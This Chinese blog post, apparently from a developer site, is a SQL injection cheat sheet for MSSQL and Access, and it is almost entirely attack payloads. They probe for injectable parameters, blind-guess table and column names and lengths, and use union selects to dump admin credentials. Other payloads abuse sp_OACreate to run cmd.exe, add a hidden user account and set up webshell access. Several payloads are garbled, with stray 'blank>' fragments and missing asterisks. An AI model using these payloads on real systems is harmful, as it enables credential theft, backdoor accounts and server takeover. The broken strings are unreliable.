关于SQL注入的理解与基本语法(一)

sql注入,简单地说就是欺骗服务器执行恶意的SQL命令;通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
常用术语:攻击,防护。
黑客可以在web应用程序中添加或者修改原本没有的SQL语句,从而执行相关内容,获取相应的数据信息。
常用SQL注入语句如下所示
1.判断有无注入点
and 1=1;
and 1=2;
2.初步判断是否是mssql ;
and user>0

3.判断数据库系统
;and (select count() from sysobjects)>0 mssql ;
and (select count(
) from msysobjects)>0 access

4.注入参数是字符
‘and [查询条件] and ‘’=’

5.搜索时没过滤参数的
‘and [查询条件] and ‘%25’=’

6.猜数据库
;and (select Count(*) from [数据库名])>0

7.猜表一般的表的名称无非是admin adminuser user pass password 等…
and 0<>(select count(*) from )
and 0<>(select count(
) from admin) —判断是否存在admin这张表

8.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count() from admin)
and 1<(select count(
) from admin)

9.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count() from admin where len()>0)–
and 1=(select count() from admin where len(用户字段名称name)>0)
and 1=(select count(
) from admin where len(_blank>密码字段名称password)>0)

10.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count() from admin where len()>0)
and 1=(select count() from admin where len(name)>6) 错误
and 1=(select count(
) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count() from admin where len(password)>11) 正确
and 1=(select count(
) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,“run”,NULL,“cmd.exe /c ping 192.168.0.1”;–

加帐号
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,“e:”–

访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)–

得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9… 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在 user_blank>_id username ,password 等字段

and 0<>(select count() from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(
) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值